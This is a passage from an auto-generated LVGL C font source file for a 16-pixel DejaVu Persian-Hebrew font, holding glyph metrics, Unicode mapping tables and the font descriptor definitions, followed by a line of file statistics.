{.bitmap_index = 24174, .adv_w = 124, .box_w = 9, .box_h = 16, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 24246, .adv_w = 141, .box_w = 10, .box_h = 16, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 24326, .adv_w = 229, .box_w = 14, .box_h = 14, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 24424, .adv_w = 229, .box_w = 15, .box_h = 14, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 24529, .adv_w = 122, .box_w = 9, .box_h = 13, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 24588, .adv_w = 141, .box_w = 10, .box_h = 13, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 24653, .adv_w = 229, .box_w = 14, .box_h = 16, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 24765, .adv_w = 229, .box_w = 15, .box_h = 16, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 24885, .adv_w = 122, .box_w = 9, .box_h = 15, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 24953, .adv_w = 141, .box_w = 10, .box_h = 15, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 25028, .adv_w = 229, .box_w = 14, .box_h = 20, .ofs_x = 1, .ofs_y = -6},
{.bitmap_index = 25168, .adv_w = 229, .box_w = 15, .box_h = 21, .ofs_x = 1, .ofs_y = -6},
{.bitmap_index = 25326, .adv_w = 122, .box_w = 9, .box_h = 20, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 25416, .adv_w = 141, .box_w = 10, .box_h = 20, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 25516, .adv_w = 229, .box_w = 14, .box_h = 16, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 25628, .adv_w = 229, .box_w = 15, .box_h = 15, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 25741, .adv_w = 122, .box_w = 9, .box_h = 14, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 25804, .adv_w = 141, .box_w = 10, .box_h = 14, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 25874, .adv_w = 188, .box_w = 10, .box_h = 10, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 25924, .adv_w = 195, .box_w = 12, .box_h = 10, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 25984, .adv_w = 188, .box_w = 10, .box_h = 14, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 26054, .adv_w = 195, .box_w = 12, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 26132, .adv_w = 71, .box_w = 6, .box_h = 11, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 26165, .adv_w = 77, .box_w = 6, .box_h = 11, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 26198, .adv_w = 179, .box_w = 10, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 26243, .adv_w = 162, .box_w = 10, .box_h = 11, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 26298, .adv_w = 135, .box_w = 9, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 26339, .adv_w = 118, .box_w = 9, .box_h = 11, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 26389, .adv_w = 211, .box_w = 11, .box_h = 14, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 26466, .adv_w = 216, .box_w = 13, .box_h = 14, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 26557, .adv_w = 122, .box_w = 9, .box_h = 15, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 26625, .adv_w = 141, .box_w = 10, .box_h = 15, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 26700, .adv_w = 124, .box_w = 8, .box_h = 15, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 26760, .adv_w = 132, .box_w = 10, .box_h = 15, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 26835, .adv_w = 124, .box_w = 8, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 26891, .adv_w = 132, .box_w = 10, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 26961, .adv_w = 124, .box_w = 8, .box_h = 16, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 27025, .adv_w = 132, .box_w = 10, .box_h = 16, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 27105, .adv_w = 124, .box_w = 8, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 27161, .adv_w = 132, .box_w = 10, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 27231, .adv_w = 200, .box_w = 11, .box_h = 14, .ofs_x = 1, .ofs_y = -7},
{.bitmap_index = 27308, .adv_w = 213, .box_w = 13, .box_h = 12, .ofs_x = 1, .ofs_y = -7},
{.bitmap_index = 27386, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 27411, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 27441, .adv_w = 71, .box_w = 5, .box_h = 5, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 27454, .adv_w = 77, .box_w = 6, .box_h = 5, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 27469, .adv_w = 200, .box_w = 11, .box_h = 10, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 27524, .adv_w = 213, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 27576, .adv_w = 71, .box_w = 5, .box_h = 8, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 27596, .adv_w = 77, .box_w = 6, .box_h = 8, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 27620, .adv_w = 75, .box_w = 5, .box_h = 5, .ofs_x = 0, .ofs_y = 9},
{.bitmap_index = 27633, .adv_w = 75, .box_w = 6, .box_h = 14, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 27675, .adv_w = 75, .box_w = 5, .box_h = 5, .ofs_x = 0, .ofs_y = 9},
{.bitmap_index = 27688, .adv_w = 67, .box_w = 5, .box_h = 3, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 27696, .adv_w = 75, .box_w = 5, .box_h = 4, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 27706, .adv_w = 75, .box_w = 5, .box_h = 3, .ofs_x = 0, .ofs_y = 9},
{.bitmap_index = 27714, .adv_w = 75, .box_w = 6, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 27750, .adv_w = 75, .box_w = 5, .box_h = 5, .ofs_x = 0, .ofs_y = 9},
{.bitmap_index = 27763, .adv_w = 75, .box_w = 6, .box_h = 14, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 27805, .adv_w = 75, .box_w = 5, .box_h = 3, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 27813, .adv_w = 75, .box_w = 6, .box_h = 5, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 27828, .adv_w = 75, .box_w = 6, .box_h = 5, .ofs_x = -1, .ofs_y = 10},
{.bitmap_index = 27843, .adv_w = 75, .box_w = 6, .box_h = 14, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 27885, .adv_w = 75, .box_w = 5, .box_h = 4, .ofs_x = 0, .ofs_y = 10},
{.bitmap_index = 27895, .adv_w = 75, .box_w = 6, .box_h = 14, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 27937, .adv_w = 120, .box_w = 6, .box_h = 8, .ofs_x = 1, .ofs_y = 1},
{.bitmap_index = 27961, .adv_w = 71, .box_w = 7, .box_h = 15, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 28014, .adv_w = 78, .box_w = 7, .box_h = 15, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 28067, .adv_w = 71, .box_w = 4, .box_h = 17, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 28101, .adv_w = 78, .box_w = 6, .box_h = 17, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 28152, .adv_w = 124, .box_w = 8, .box_h = 15, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 28212, .adv_w = 132, .box_w = 10, .box_h = 15, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 28287, .adv_w = 71, .box_w = 4, .box_h = 16, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 28319, .adv_w = 78, .box_w = 6, .box_h = 16, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 28367, .adv_w = 200, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 28433, .adv_w = 213, .box_w = 13, .box_h = 11, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 28505, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 28530, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 28560, .adv_w = 71, .box_w = 2, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 28572, .adv_w = 78, .box_w = 5, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 28602, .adv_w = 241, .box_w = 13, .box_h = 9, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 28661, .adv_w = 251, .box_w = 15, .box_h = 9, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 28729, .adv_w = 71, .box_w = 5, .box_h = 8, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 28749, .adv_w = 77, .box_w = 6, .box_h = 8, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 28773, .adv_w = 134, .box_w = 7, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 28805, .adv_w = 137, .box_w = 8, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 28837, .adv_w = 241, .box_w = 13, .box_h = 6, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 28876, .adv_w = 251, .box_w = 15, .box_h = 6, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 28921, .adv_w = 71, .box_w = 5, .box_h = 8, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 28941, .adv_w = 77, .box_w = 6, .box_h = 8, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 28965, .adv_w = 241, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 29017, .adv_w = 251, .box_w = 15, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 29077, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 29102, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 29132, .adv_w = 165, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 29197, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 29257, .adv_w = 158, .box_w = 10, .box_h = 10, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 29307, .adv_w = 165, .box_w = 12, .box_h = 10, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 29367, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 29427, .adv_w = 165, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 29492, .adv_w = 158, .box_w = 10, .box_h = 7, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 29527, .adv_w = 165, .box_w = 12, .box_h = 7, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 29569, .adv_w = 165, .box_w = 10, .box_h = 14, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 29639, .adv_w = 165, .box_w = 10, .box_h = 14, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 29709, .adv_w = 158, .box_w = 10, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 29754, .adv_w = 165, .box_w = 12, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 29808, .adv_w = 114, .box_w = 7, .box_h = 7, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 29833, .adv_w = 134, .box_w = 9, .box_h = 7, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 29865, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 29900, .adv_w = 134, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 29945, .adv_w = 124, .box_w = 8, .box_h = 9, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 29981, .adv_w = 141, .box_w = 10, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 30031, .adv_w = 124, .box_w = 8, .box_h = 12, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 30079, .adv_w = 141, .box_w = 10, .box_h = 12, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 30139, .adv_w = 313, .box_w = 18, .box_h = 10, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 30229, .adv_w = 326, .box_w = 20, .box_h = 11, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 30339, .adv_w = 215, .box_w = 14, .box_h = 6, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 30381, .adv_w = 228, .box_w = 16, .box_h = 6, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 30429, .adv_w = 313, .box_w = 18, .box_h = 14, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 30555, .adv_w = 326, .box_w = 20, .box_h = 14, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 30695, .adv_w = 215, .box_w = 14, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 30758, .adv_w = 228, .box_w = 16, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 30838, .adv_w = 310, .box_w = 18, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 30946, .adv_w = 314, .box_w = 19, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 31060, .adv_w = 217, .box_w = 14, .box_h = 7, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 31109, .adv_w = 222, .box_w = 16, .box_h = 7, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 31165, .adv_w = 310, .box_w = 18, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 31273, .adv_w = 314, .box_w = 19, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 31387, .adv_w = 217, .box_w = 14, .box_h = 7, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 31436, .adv_w = 222, .box_w = 16, .box_h = 7, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 31492, .adv_w = 237, .box_w = 13, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 31570, .adv_w = 243, .box_w = 15, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 31660, .adv_w = 204, .box_w = 13, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 31738, .adv_w = 210, .box_w = 15, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 31828, .adv_w = 237, .box_w = 13, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 31906, .adv_w = 243, .box_w = 15, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 31996, .adv_w = 204, .box_w = 13, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32074, .adv_w = 210, .box_w = 15, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32164, .adv_w = 153, .box_w = 10, .box_h = 14, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 32234, .adv_w = 136, .box_w = 10, .box_h = 12, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 32294, .adv_w = 153, .box_w = 9, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32335, .adv_w = 124, .box_w = 9, .box_h = 7, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32367, .adv_w = 153, .box_w = 10, .box_h = 15, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 32442, .adv_w = 136, .box_w = 10, .box_h = 14, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 32512, .adv_w = 134, .box_w = 9, .box_h = 11, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32562, .adv_w = 124, .box_w = 9, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32603, .adv_w = 265, .box_w = 15, .box_h = 12, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 32693, .adv_w = 265, .box_w = 16, .box_h = 10, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 32773, .adv_w = 122, .box_w = 8, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32813, .adv_w = 130, .box_w = 10, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 32858, .adv_w = 199, .box_w = 12, .box_h = 14, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 32942, .adv_w = 214, .box_w = 14, .box_h = 13, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 33033, .adv_w = 122, .box_w = 8, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33073, .adv_w = 130, .box_w = 10, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33118, .adv_w = 211, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 33184, .adv_w = 216, .box_w = 13, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 33262, .adv_w = 122, .box_w = 9, .box_h = 13, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33321, .adv_w = 141, .box_w = 10, .box_h = 13, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33386, .adv_w = 186, .box_w = 10, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 33461, .adv_w = 194, .box_w = 12, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 33551, .adv_w = 78, .box_w = 5, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33581, .adv_w = 85, .box_w = 7, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33623, .adv_w = 159, .box_w = 8, .box_h = 10, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 33663, .adv_w = 170, .box_w = 10, .box_h = 9, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 33708, .adv_w = 137, .box_w = 9, .box_h = 5, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33731, .adv_w = 148, .box_w = 11, .box_h = 5, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33759, .adv_w = 188, .box_w = 10, .box_h = 11, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 33814, .adv_w = 195, .box_w = 12, .box_h = 10, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 33874, .adv_w = 71, .box_w = 5, .box_h = 8, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33894, .adv_w = 77, .box_w = 6, .box_h = 8, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 33918, .adv_w = 134, .box_w = 7, .box_h = 7, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 33943, .adv_w = 137, .box_w = 8, .box_h = 6, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 33967, .adv_w = 135, .box_w = 9, .box_h = 9, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 34008, .adv_w = 118, .box_w = 9, .box_h = 11, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 34058, .adv_w = 124, .box_w = 8, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 34098, .adv_w = 132, .box_w = 10, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 34148, .adv_w = 200, .box_w = 11, .box_h = 10, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 34203, .adv_w = 213, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 34255, .adv_w = 200, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 34321, .adv_w = 213, .box_w = 13, .box_h = 10, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 34386, .adv_w = 71, .box_w = 5, .box_h = 8, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 34406, .adv_w = 77, .box_w = 6, .box_h = 8, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 34430, .adv_w = 146, .box_w = 10, .box_h = 14, .ofs_x = -2, .ofs_y = 0},
{.bitmap_index = 34500, .adv_w = 153, .box_w = 12, .box_h = 14, .ofs_x = -2, .ofs_y = 0},
{.bitmap_index = 34584, .adv_w = 146, .box_w = 9, .box_h = 16, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 34656, .adv_w = 153, .box_w = 11, .box_h = 16, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 34744, .adv_w = 146, .box_w = 8, .box_h = 16, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 34808, .adv_w = 153, .box_w = 10, .box_h = 16, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 34888, .adv_w = 146, .box_w = 8, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 34936, .adv_w = 153, .box_w = 10, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 34996, .adv_w = 0, .box_w = 0, .box_h = 0, .ofs_x = 0, .ofs_y = 0}
};
/*---------------------
* CHARACTER MAPPING
*--------------------*/
static const uint16_t unicode_list_2[] = {
0x0, 0x1, 0x3, 0x4, 0x6, 0xf, 0x15, 0x19
};
static const uint8_t glyph_id_ofs_list_5[] = {
0, 0, 0, 1, 0, 0, 0, 0,
0, 2, 3, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13, 14, 15, 16,
17, 18, 0, 0, 0, 19
};
static const uint16_t unicode_list_7[] = {
0x0, 0x1, 0x2, 0x5, 0x6, 0x8, 0xa, 0xf,
0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31,
0x32, 0x33, 0xe93b, 0xe942, 0xe945, 0xe946, 0xe947, 0xe94b,
0xe94d, 0xe94f, 0xe953, 0xe956, 0xe95b, 0xe960, 0xe961, 0xe962,
0xe978, 0xe982, 0xe985, 0xe986, 0xe987, 0xe98b, 0xe98c, 0xe98d,
0xe98e, 0xe9a1, 0xe9a2, 0xe9a8, 0xe9aa, 0xe9ab, 0xe9ae, 0xe9b1,
0xe9b2, 0xe9b3, 0xe9b5, 0xe9cd, 0xe9cf, 0xe9fe, 0xe9ff, 0xea01,
0xea21, 0xea24, 0xea2d, 0xea56, 0xea5e, 0xea95, 0xeb25, 0xeb7a,
0xeb7b, 0xeb7c, 0xeb7d, 0xeb7e, 0xebc1, 0xebcd, 0xec27, 0xec3e,
0xee94, 0xf0fc, 0xf1dc
};
static const uint16_t unicode_list_9[] = {
0x0, 0x1, 0x2, 0x3, 0x29, 0x2a, 0x2b, 0x2c,
0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x34, 0x35,
0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x52, 0x53,
0x54, 0x55, 0x2c6, 0x2c7, 0x2c8, 0x2c9, 0x2ca
};
/*Collect the unicode lists and glyph_id offsets*/
static const lv_font_fmt_txt_cmap_t cmaps[] =
{
{
.range_start = 32, .range_length = 95, .glyph_id_start = 1,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
},
{
.range_start = 1488, .range_length = 27, .glyph_id_start = 96,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
},
{
.range_start = 1542, .range_length = 26, .glyph_id_start = 123,
.unicode_list = unicode_list_2, .glyph_id_ofs_list = NULL, .list_length = 8, .type = LV_FONT_FMT_TXT_CMAP_SPARSE_TINY
},
{
.range_start = 1569, .range_length = 26, .glyph_id_start = 131,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
},
{
.range_start = 1600, .range_length = 22, .glyph_id_start = 157,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
},
{
.range_start = 1623, .range_length = 30, .glyph_id_start = 179,
.unicode_list = NULL, .glyph_id_ofs_list = glyph_id_ofs_list_5, .list_length = 30, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_FULL
},
{
.range_start = 1657, .range_length = 71, .glyph_id_start = 199,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
},
{
.range_start = 1734, .range_length = 61917, .glyph_id_start = 270,
.unicode_list = unicode_list_7, .glyph_id_ofs_list = NULL, .list_length = 75, .type = LV_FONT_FMT_TXT_CMAP_SPARSE_TINY
},
{
.range_start = 64338, .range_length = 82, .glyph_id_start = 345,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
},
{
.range_start = 64426, .range_length = 715, .glyph_id_start = 427,
.unicode_list = unicode_list_9, .glyph_id_ofs_list = NULL, .list_length = 31, .type = LV_FONT_FMT_TXT_CMAP_SPARSE_TINY
},
{
.range_start = 65142, .range_length = 135, .glyph_id_start = 458,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
},
{
.range_start = 65279, .range_length = 1, .glyph_id_start = 593,
.unicode_list = NULL, .glyph_id_ofs_list = NULL, .list_length = 0, .type = LV_FONT_FMT_TXT_CMAP_FORMAT0_TINY
}
};
/*--------------------
* ALL CUSTOM DATA
*--------------------*/
/*Store all the custom data of the font*/
static lv_font_fmt_txt_dsc_t font_dsc = {
.glyph_bitmap = gylph_bitmap,
.glyph_dsc = glyph_dsc,
.cmaps = cmaps,
.kern_dsc = NULL,
.kern_scale = 0,
.cmap_num = 12,
.bpp = 4,
.kern_classes = 0,
.bitmap_format = 0
};
/*-----------------
* PUBLIC FONT
*----------------*/
/*Initialize a public general font descriptor*/
lv_font_t lv_font_dejavu_16_persian_hebrew = {
.get_glyph_dsc = lv_font_get_glyph_dsc_fmt_txt, /*Function pointer to get glyph's data*/
.get_glyph_bitmap = lv_font_get_bitmap_fmt_txt, /*Function pointer to get glyph's bitmap*/
.line_height = 24, /*The maximum line height required by the font*/
.base_line = 7, /*Baseline measured from the bottom of the line*/
#if !(LVGL_VERSION_MAJOR == 6 && LVGL_VERSION_MINOR == 0)
.subpx = LV_FONT_SUBPX_NONE,
#endif
.dsc = &font_dsc /*The custom font data. Will be accessed by `get_glyph_bitmap/dsc` */
};
#endif /*#if LV_FONT_DEJAVU_16_PERSIAN_HEBREW*/
| 284,218 | lv_font_dejavu_16_persian_hebrew | c | en | c | code | {"qsc_code_num_words": 48314, "qsc_code_num_chars": 284218.0, "qsc_code_mean_word_length": 3.20356418, "qsc_code_frac_words_unique": 0.04323798, "qsc_code_frac_chars_top_2grams": 0.33512731, "qsc_code_frac_chars_top_3grams": 0.28620531, "qsc_code_frac_chars_top_4grams": 0.20615466, "qsc_code_frac_chars_dupe_5grams": 0.8088088, "qsc_code_frac_chars_dupe_6grams": 0.76821492, "qsc_code_frac_chars_dupe_7grams": 0.73930881, "qsc_code_frac_chars_dupe_8grams": 0.71479613, "qsc_code_frac_chars_dupe_9grams": 0.67933866, "qsc_code_frac_chars_dupe_10grams": 0.66550586, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.36519421, "qsc_code_frac_chars_whitespace": 0.25694713, "qsc_code_size_file_byte": 284218.0, "qsc_code_num_lines": 6548.0, "qsc_code_num_chars_line_max": 617.0, "qsc_code_num_chars_line_mean": 43.4053146, "qsc_code_frac_chars_alphabet": 0.36722557, "qsc_code_frac_chars_comments": 0.03767531, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.47507056, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 4.387e-05, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.44821925, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, 